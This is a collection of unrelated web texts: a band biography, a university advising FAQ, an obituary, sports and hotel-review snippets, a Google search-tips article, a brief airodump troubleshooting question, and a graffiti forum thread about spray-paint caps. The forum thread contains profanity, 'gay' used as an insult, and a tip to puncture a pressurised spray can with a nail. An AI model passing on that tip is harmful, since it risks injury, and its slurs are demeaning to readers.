During the Depression, the brothers continued to record, but despite their popularity they had difficulty earning enough to support their families. In 1933 Austin and his family moved to New York, where he became a radio announcer. Lee stayed in Tennessee and became a construction worker. They also appeared together in a play, Bushwhacker, and made a final stab at the music business with a session in 1934 for ARC. They cut new versions of some of their best hits, but these recordings still didn't make enough impact to justify a return to full-time music-making. Austin later became a construction worker and engineer. He died in Williamston, SC, in 1959. In the late '60s, the Allen Brothers were rediscovered by a new generation. Several LP reissues of their 78 rpm recordings appeared, and Lee Allen was coaxed into performing again. He appeared occasionally at local events near his home in Lebanon, TN, before his death in 1981. The 1990s saw the release of the brothers' complete recordings on three compact discs by Austria's Document label. ~ Sandra Brennan & James Manheim, Rovi
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Who will be my academic advisor?How often should I see my advisor?What if I am not satisfied with my advisor?How many courses should I take each semester?How many courses can a student schedule each summer term?How are students scheduled for their classes?How many courses must a student register in to be a full-time student?What happens if a student carries only three courses (9 credits)?What happens if a student becomes ill and cannot complete the semester's coursework?Is class attendance mandatory?What if a student is late for class?What grades must I make to remain in good academic standing?What is academic probation? and, how do I stay off of it?What should I do if I am placed on academic probation?Can students take courses at another university to improve their GPA?If a student gets a "D" or an "F" grade in a course at Shippensburg University, can he/she repeat it at another university?Should students always repeat courses when they have earned "D" or "F" grades?What grades do I have to earn to make the Dean's list??How much time should I devote to study?When are undeclared students required to declare a major?What are minors?Do I have to take a foreign language?Who is eligible for the Satisfactory/Unsatisfactory grade option?Who can take an online course?
Who will be my academic advisor?
When you declare a major, you are assigned a faculty advisor within the academic department. Until you declare a major, you are assigned an advisor through the Office of Undeclared Students. If you change majors, you will be assigned a new advisor. If you do not know who your advisor is, or if you want to change advisors, see the chair of your major academic department. If you have not declared a major, go to the Office of Undeclared Students in Horton Hall 112. Your advisor will be identified on the SIS.
How often should I see my advisor?
That depends on two things: your needs as a student and the advising plan you and your advisor design. There is a high correlation between students who are academically successful and those who work with their advisors. You should meet with your advisor at least on the following occasions:
What if I am not satisfied with my advisor?
Advising is a process in which a relationship must be developed between you and your advisor. The goal is for you and your advisor to work collaboratively to develop meaningful educational plans that are compatible with your goals. For that goal to be achieved there needs to be a "fit" between you and your advisor. If there are barriers to you working effectively with your advisor, you should first talk over the situation with your advisor. If the barriers cannot be resolved and you have declared a major, contact the chair of your major department to discuss the situation. If you are undeclared, contact the Assistant Dean of the School of Academic Programs & Services. You may request to be assigned to a new advisor.
How many courses should I take each semester?
Most students take five courses (15 credits) each semester. There are times, however, when a student may be encouraged to take four courses (12 credits). Reduced loads may be desirable for students who participate in one or more sports, students on academic probation, students who have learning difficulties or students who work. Students can schedule a maximum of 18 credits without incurring additional fees. It is important to remember that graduation is the goal and not a race. The key is for you to determine the best course load for you.
How many courses can a student schedule each summer term?
Students can take a maximum of 6 credits overall during any one term except for Term 3. This includes both courses through Extended Studies and the University. During Term 3, students are permitted to take one F2F course and one online course or two online courses but not two F2F courses since the F2F courses are only three weeks in duration. Exceptions would be granted by the respective dean.
How are students scheduled for their classes?
The Registrar's Office schedules classes for all first-semester students. For the most part, students take general education courses necessary for graduation. After the first semester, students may schedule their own classes through the Student Information system. Students are required to consult with their academic advisor prior to scheduling.
How many courses must a student register in to be a full-time student?
To be classified as a full-time student, you must enroll in a minimum of 12 credits during the fall and spring semesters.
What happens if a student carries only three courses (9 credits)?
A student who carries less than 12 credits is classified as a part-time student. This part-time status could impact the student's financial, residence hall, and/or NCAA eligibility. Financial aid and NCAA regulations are complex, so if you have questions it is best to consult with the Financial Aid Office or the Coordinator of Student Athlete Support.
What happens if a student becomes ill and cannot complete the semester's coursework?
Students may request a medical withdrawal from the university with a "W" grade in their coursework, or they may request an "I" grade (incomplete). This request is made through the dean's office and is possible if: 1) the student was enrolled in the university for the majority of the semester; and 2) the documentation of the medical condition warrants a medical withdrawal.
Is class attendance mandatory?
You will hear various truths and myths in answer to this question, depending upon whom you ask. Some professors will require attendance and others may not. However, it is important to understand that there is no substitute for attending class. Various professors may factor class attendance in the final grade, or they may have a policy that after so many absences a student automatically fails the course. Professors will often present material in class that won't be found in textbooks, and it's up to you to obtain that information. There is a university policy that if a student misses the first day of class (in any semester) the professor may elect to drop the student from the course. A high correlation exists between class attendance and academic success. Put simply, if you want to pass, go to class every day. If you must miss a class period, be sure to contact your professor.
What if a student is late for class?
Sometimes circumstances will prevent a student from attending class on time. But being habitually late to class is both rude and inconsiderate. In addition, some professors deduct points for lateness. Good students come to class on time and well prepared.
What grades must I make to remain in good academic standing?
To remain in good academic standing, a student must maintain a minimum cumulative grade point average of 2.0 ("C"). Some majors might require a higher GPA to satisfy program requirements.
What is academic probation? and, how do I stay off of it?
Academic probation means that your grade point average does not meet the university's standards for satisfactory academic progress. To remain in good academic standing, you must maintain a minimum cumulative grade point average of 2.0 ("C"). If you fall below 2.0, you will be placed on academic probation. You can still schedule classes and return the next semester to give you a chance to raise your GPA. If you do not raise your GPA, you may be academically dismissed from the university. Making good grades should be your number one priority from the very beginning. Students on academic probation should consult with their academic advisor to design a strategy to improve their GPA and participate in the Learning Center's AIM Program to improve their skills for success.
What should I do if I am placed on academic probation?Your immediate goal must be to improve your GPA. There are several steps you should take: (1) Be proactive; (2) Meet with your academic advisor to design a study strategy and discuss the possibility of repeating courses in which you made a "D" or "F"; (3) Participate in the Learning Center's AIM Program to develop strategies and skills that will help you to raise your cumulative grade point average (GPA); (4) Schedule courses that offer you the greatest potential for success.
Can students take courses at another university to improve their GPA?
No. Only credits, not grades, will be accepted from other institutions. Also, only courses in which a "C" grade or higher was earned will transfer. Approval for transfer credit should be obtained from the academic dean's office prior to enrolling for the course.
If a student gets a "D" or an "F" grade in a course at Shippensburg University, can he/she repeat it at another university?
No. "D" and "F" grades earned at Shippensburg must be repeated at Shippensburg.
Should students always repeat courses when they have earned "D" or "F" grades?
Not always. It depends on the student's major. However, it is strongly recommended that students who want to improve their grade point average should repeat the course as soon as possible. There are several things that students should consider before they repeat "D" grades.
What grades do I have to earn to make the Dean's list?
A dean's list is published at the end of each semester to recognize students who earn at least a 3.3 or better. In addition, students who consistently perform at the highest levels are given special recognition at the end of each academic year.
How much time should I devote to study?
It is important to realize that the demands of college are much more intense than what may have been experienced in high school. To succeed in college, there is no substitute for commitment, hard work, and study. Studies have shown that college students who are successful spend 2-3 hours of studying outside of class for every one hour spent in class. Some courses, such as Calculus may require more than that. So, the student taking five (5) courses may expect to study at least 30 hours a week.
When are undeclared students required to declare a major?
Undeclared students must declare a major early in the third semester of their collegiate career. This will allow them to schedule courses in their majors and stay on track for a timely graduation.
What are minors?
An academic minor is a structured group of courses that can enhance a student's educational experience. I t usually consists of 18 to 21 credits from one or more disciplines outside the student's major. It is possible to have more than one minor but only six credits from one minor may count toward the fulfillment of another. SHIP offers approximately 30 different minors. Students should consult the catalog for details and consult with their advisor about declaring a minor.
Do I have to take a foreign language?
It depends. Students enrolling in B.A. degree programs must meet the modern language requirement. Students who have completed three years or more of any one foreign language in high school have met the language requirement. Other students may elect to take a foreign language as either a General Education or free elective course.
Who is eligible for the Satisfactory/Unsatisfactory grade option?
Students who have completed thirty (30) or more credit hours with a minimum overall grade point average of 2.5 may schedule one course (three or four credits) per semester outside of the major or minor field of study under the Satisfactory/ Unsatisfactory option. The maximum number of credits you may schedule under the option is ten (10) credits. To apply for this option, an original copy of the student's class schedule must be presented to the Registrar's Office within the first two weeks of the semester.
Who can take an online course?
Virtually anyone! Current students, visiting students, and others, are invited to register for online courses. Undergraduate Students must have a minimum of twelve (12) credits and a 2.0 GPA prior to registering for an online course. A previously failed course may not be repeated through an online course. Some courses have listed prerequisites, which are included in the course descriptions.
Online courses require extreme self-discipline. Students must log on and be prepared to read through many pages and comments. A great deal of time is spent visiting websites, reading articles, contributing to online discussions and chats, and preparing and submitting assignments. Completing online quizzes, exams and participating in online group projects are common. Students are strongly encouraged to click on the links "What computer knowledge and skills do I need?" and "How do I get started once I am registered?" to gain a thorough understanding of the online learning environment.


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Alonzo Blaine Huntsman Jr., who engaged in successful twin careers as a businessman and an academic through four decades, has died.
A member of Utah's prominent Huntsman family, he died Thursday at age 76 after a battle with pancreatic cancer.
He is the brother of Jon Huntsman Sr., the philanthropist and chairman of the Huntsman Corp., a petrochemical company based in Salt Lake City and Texas.
Jon Huntsman Sr. said when he left Dow Chemical in 1970 to form Huntsman Container Corp., which made the first plastic containers for McDonald's meals, his older brother joined him as chairman.
"He was a vital part of helping us get started," Huntsman said Monday. Blaine concentrated on the finance end of the business in which he had developed expertise while Jon ran the manufacturing operations as president and chief executive.
Blaine left the company in 1974 but continued other business pursuits and taught at the University of Utah.
Alonzo Blaine Huntsman Jr. was born on May 26, 1937, to A. Blaine and Kathleen Robison Huntsman in Fillmore. He was 13 months older than Jon and about 11 years older than a third brother, R. Clayton Huntsman.
Their father was a school teacher who moved the family to Idaho and then California.
"The two of us grew up pretty much as twins and partners and comrades in arms, if you will," Jon Huntsman Sr. said. "Everything one did the other did."
The two fished and hunted deer to help put food on the family table and worked closely in jobs and boyhood businesses they formed, Jon Huntsman Sr. said.
A noted athlete, Blaine attended the U. of U. on a basketball scholarship but switched to a Naval ROTC scholarship, then served in the U.S. Navy on the destroyer USS Hubbard for three years.
After the service, he became a stockbroker for Merrill Lynch and married Joan Moody, with whom he had seven children. He received a doctorate from the University of Pennsylvania Wharton School and accepted a job at Purdue University in 1967.
He left Purdue for the U. of U. School of Business where he became dean in 1975 and served in that post until 1980.
"Blaine began as a finance professor and I'd say it's very accurate to say over that period of time the finance department went from relative obscurity to one of the best in the country," said Taylor Randall, the current dean of the David Eccles School of Business. "He brought a Ph.D. from a renowned school and brought an incredible intellect."
As perhaps the youngest dean ever at the school, Huntsman transformed other departments as well, Randall said.
Jon Huntsman Sr. said it was Blaine's practical experience in business that helped make him a success in academia as well.
"He understood the practical as well as the scholarly side of things," Huntsman said, "and therefore his life was pretty well divided between both areas."
In the 1980s, Blaine Huntsman and his partners were major developers in Park City, participating in the syndicate that put together the Deer Valley ski resort. He also helped establish the Sundance Film Festival, the family said.
He became chairman and CEO of Prudential Federal Savings, which later was renamed Olympus Capital and was acquired by Washington Mutual in 1994. He served as director or trustee of Dean Witter Reynolds, ZCMI and Geneva Steel.
In 1981, Blaine Huntsman's first marriage ended and he married Nancy Lewis, with whom he had two more children.
He was a lifelong fisherman and became a restorer and protector of wildlife habitat at his ranch in Idaho's Teton Valley.
Blaine Huntsman contracted pancreatic cancer but it was not discovered until it had spread to his liver. He received the latest treatments from clinical trials at the Huntsman Cancer Institute, which was funded by donations from Jon Huntsman Sr., but the cancer was too far advanced, his brother said.
"He was always upbeat and positive and fun to be around and extremely witty," said Jon Huntsman Sr. "He loved a good cigar. A good Cuban cigar was the best thing he could enjoy."
An open house is set for the Orangerie at Red Butte Gardens Wednesday from 5 to 9 p.m., with memorial services Thursday at 2:30 p.m. at Libby Gardner Hall at the U. of U.
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Congressman Dennis Cardoza, a Democrat from California, was retiring after this year. But why wait? A job with a big lobby-law firm was waiting, so the congressman resigned from Congress this week.
An Early Exit For Calif. Congressman
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After a glorious 20+ years of surfing around the world on the ASP World Championship Tour, Carlsbad, California's Taylor Knox called it quits at a raucous gathering behind Cafe Haleiwa on the North Shore of Oahu. The who's who of the surf industry was on hand to send off one of surfing's favorite sons. Kelly Slater gave a speech recalling Taylor's infamous "boneheaded" decisions in heats, Mick Fanning shared a bunch of funny stories of their time on the World Tour, and fellow Carlsbad surfer Sal Masekela emceed the evening. And while it was called a "retirement" party, Taylor is far from done. Consider Taylor's retirement a rebirth of sorts—those patented power carves that we've all grown to love ain't going nowhere! According to the man himself, he'll be filming for movie and video parts, surfing places he's always wanted to go, competing in select events, and perhaps giving power surfing clinics to those in need (you reading that kids?).
For more on Taylor, go to his interview he did with us a few days before this all became official. Follow Taylor Knox at instagram.com/taylor_knox


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The mission of the Electrical Engineering program at Montana Tech is to provide a quality education that stresses the fundamentals of engineering, mathematics, and science in order to prepare graduates to enter and continue the practice of electrical engineering at the professional level.
At Montana Tech, all of our Electrical Engineering professors are registered professional engineers in the state of Montana. Additionally, each faculty member holds a Ph.D., has significant industrial design experience, and works on research projects that employ students!
Even before graduation, Electrical Engineering students are IN DEMAND! Our students are highly engaged and have close mentoring relationships with faculty members. Almost all undergraduate students:
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AND, almost 100% of our students accept high-paying jobs upon graduation!
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The only reason krylon did it was bcuz of their anti graffiti campaign. and rusto prob wont be changing anytime soon. and as far as getting fucked over in racking, krylon n rusto still make their money, its the stores that get fucked.
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fuck krylon.shits drippy and not opaque.rusto is all you need.american accents is great too
krylon and rust-o-leum are fucking illuminati those new fucking tips are whack, fan tips fem tips and those hose sprays are shitty! they reaally want to take over and stop us from expressing our rights, art, and feelings! krylon has that anti-graffiti shit. rusto is still a good brand but their bro. company PAINTER'S TOUCH has them female tips.so fuck krylon and rust-o-leum corps.
MONTANAS so far are the last resource. However look up CLASH, AND MONSTER paint it is great, better can control and its thick goood quality paint. TRUST ME ON THAT ONE! GET CLASH AND OR MONSTER PAINT!!!! boycott krylons
rusto doesn't have fan tips. they have skinny high pressure female valve tips on new american accents and painter's touch. classic rusto still has regular stock tips, and you can find american accents with the regular caps too. just look.
lol.^ I dunno why, but those last 2 posts made me giggle.
Edit - I agree w/ whoever said anything about stencils, the new caps are great for stenciling.
Only when the last sprayer has been locked up, will we realize that art cannot be forbidden.
shits gay
Yo, so I came here looking for cracks for these stupid new krylon caps and all I found was bitching. So I got imaginative.
If you take an exacto blade and slice off the little raised bumps on the white tip of the 360 caps you get (mostly) normal output.
However.... fuck krylon.
That makes sense... but it's fat and light as shit, aint it?
Only when the last sprayer has been locked up, will we realize that art cannot be forbidden.
So i grab three and when i tried them they blow!
Throw them out, never buy those cans again?
Shouldn't be buying gloss anyways. OR FEM CAPS
dont support krylon... they are a bunch of fuck heads who pay mad money for anti graffiti and put shit in theyre paint so it buffs easy,
Rusto, spanish montana, ironlak and wall mart shit is the way to go.
don't support getting your ass aressted.
yup looks like krylon is slowly dieing..but there are still some brand of Krylon u can use
as long as they to fuck up Rustoleum!!! U cant really switch the Painters Touch kind tho...and its really high pressure..perfect for throwies
What about Beltom?? i dont ever hear ppl tlk about that
Montana will always be there no matter how many cans get changed
Then theres the cheap shit..fuck that i hate those
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Geta paper bag, put the can in it, rip the gay cap out, aim at a wall, stick a nail in it and enjoy the mini fire extiguisher goodness


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Like many others, I use Google for searches, but it's often difficult to find a result among the thousands of returns. Are there any ways to add more focus to a Google search?
Five Advanced Google Operators
We all use Google (well the majority of us do) more or less every time we sit down at our computer or browse the net on our phones. For many it's an involuntary action, using Google as a step to finding sites they visit every day, after all, it's much easier and quicker to type 'Facebook' into Google and click the top result than to manually type the full www address into the address bar.
But what about those times when you want to use Google to actually find something new? Sure, typing keywords into the search box is the obvious place to start, but if you want to be more specific and drill down into the results, there is also the option to append your search queries and keywords with operators that will filter the results more to what you want to see.
Here are 5 operators you may find useful when researching information on Google and don't worry they're not as technical or complicated as they sound!
1 The site: command
This command allows you to specify one particular site that you would like to search. So for the query above, we have specified the www.worldstart.com site and by appending the search string with 'tips' we will get results that are just from this site and only mention tips.
2 The inurl:command
This is a great command if you want to search a particular type of site, for example if you wanted to search for computing resources on educational domains you could use a query such as:
3 The define:command
This operator does exactly what it says, which is to define a term. If there is a word or service you're not sure about, let Google offer you some suggested definitions from the web pages in its index.
4 The intext: command
The intext: operator is for those times when you want to find a specific phrase in the text of a website. Useful for searching for author's names, or for very specific information about a particular subject. With this operator, Google will only return pages that have that exact phrase in the text of the site.
The above query returns results soup recipes, but only those that have the word 'chicken' in them.
5 The Convert operator (Not strictly an operator, but pretty cool all the same!)
Finally, this last one is more of a useful tool you may not know about than a useful operator for information retrieval. The 'convert' function will convert currency and give a result at the top of the search results. For example:
Hopefully these tips have opened up an area of search you never knew existed and possibly stoked the fires of curiosity with regards to what else can be achieved. Have fun combining operators and one final tip, if there is a query you find useful, make sure you save it as chances are you will be able to make use of it again.
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When i run airodump (backtrack 5 r3 with rtl8187L) in the consol under "probe" it displays me crazy probes or three maybe four probes together. (multiple essid)
The problem is that some of these networks are too far from me or some of them don't even exist.
Any idea of that?


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Would you like to save as your currency permanently or for this visit only?
Room was very nice, with great bed and antique furniture. Not at all institutional. Very clean. Had happy hour every night. Very close to beach. Tv was old, but okay. Breakfast was mediocre American-style "continental" which most Europeans would find lacking.
Staff was friendly and helpful. Our room did not have enough table surface to lay papers and countertop items like laptops and cell phones.
The hotel staff were very friendly and helpfull and the room was clean and neat. It did not have a hot tub which most all the other guest houses have. The breakfast was just medicore.
Very nice staff and guests, I felt like a friend from the beginning. You can have a great time if you want company and if not very respectful be in privacy. In walking distance to gay beach and boardwalk restaurants of Ft. Lauderdale. Will defintefly go there again next time.
when it was tine to depart everything-you misrepresent this as place to stay-it was absolutely filthy - breakfast was a joke - the coffee was the only item that was safe to take-the room service was non existent -- my bed was never made - the room was never cleaned (cockroaches in abundance- the toilet was filthy from previous occupants - the water pressure was extremely low - need i go on?
The bed was comfortable. The location was good. Water pressure and hot water was not acceptable. No ironing board.
Location, value for money and staff A/C noisy and not working well
The bed was very comftorable and the room was surprisingley large. Regina the manager was such a sweet heart. Everything was good but I did have trouble getting on the wifi
No staff was on hand when I checked in at 3pm. The room key didn't work. The room had an odor to it.
Small but friendly, near to the beach & amenities Our room could have done with a little re furbish, but it was clean


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Ricky Stenhouse Jr. will pilot the No. 6 Best Buy Ford in the October 13th Sprint Cup event at Charlotte Motor Speedway.
Alex Labbé (No. 32 Cam-Am/Kappa/Cyclops Gear/Lou's BBQ Ford) has two wins (First came at Chaudière – 2016) with five poles, 15 top fives and 21 top 10s in 32 NASCAR Pinty's Series starts.
Cody Coughlin (No. 13 JEGS Toyota Tundra) has one start at Pocono Raceway in the NASCAR Camping World Truck Series (NCWTS), and three starts in the ARCA Racing Series presented by Menards.
Brendan Gaughan (No. 62 U.S. Cellular Chevrolet Camaro) has 11 NASCAR XFINITY Series starts at Iowa Speedway. He collected one top-five and three top-10 finishes in his career.
Gary Klutt (No. 59 Pioneer Family Pools/PoolSuppliesCanada.ca Dodge) has a win, two poles and 20 top 10s in 31 NASCAR Pinty's Series starts.
Brandon Jones (No. 33 Menards Chevrolet Camaro) will return to the site of one of his most successful tracks this weekend as the NASCAR XFINITY Series visits Iowa Speedway for the second time this season.
D.J. Kennington (No. 17 Castrol Edge Dodge) the 2010 and 2012 NASCAR Pinty's Series champion maintains series records for top fives (79) and top 10s (105), and is the only driver to start each of the 126 all-time events.
Daniel Hemric (No. 21 Smokey Mountain Herbal Snuff Chevrolet Camaro) will be making his second NASCAR XFINITY Series start at Iowa Speedway during this weekend's U.S. Cellular 250.
L.P. Dumoulin (No. 47 WeatherTech Canada/Bellemare Dodge) the 2014 NPS Champion and 2011 Rookie of the Year has four wins, one pole, 33 top fives and 49 top 10s in 76 NASCAR Pinty's Series starts.
Brian Scott (No. 3 Daniel Defense Chevrolet Camaro) is set to take a break from retirement for the first of two races this season for Richard Childress Racing.
J.F. Dumoulin (No. 04 Spectra Premium/Bernier/Bellemare Dodge) has six top-five and 24 top 10s in 41 career NASCAR Pinty's Series starts.
This weekend, Ben Kennedy (No. 2 Rheem/RTP Chevrolet Camaro) will make his third NASCAR XFINITY Series start at Iowa Speedway.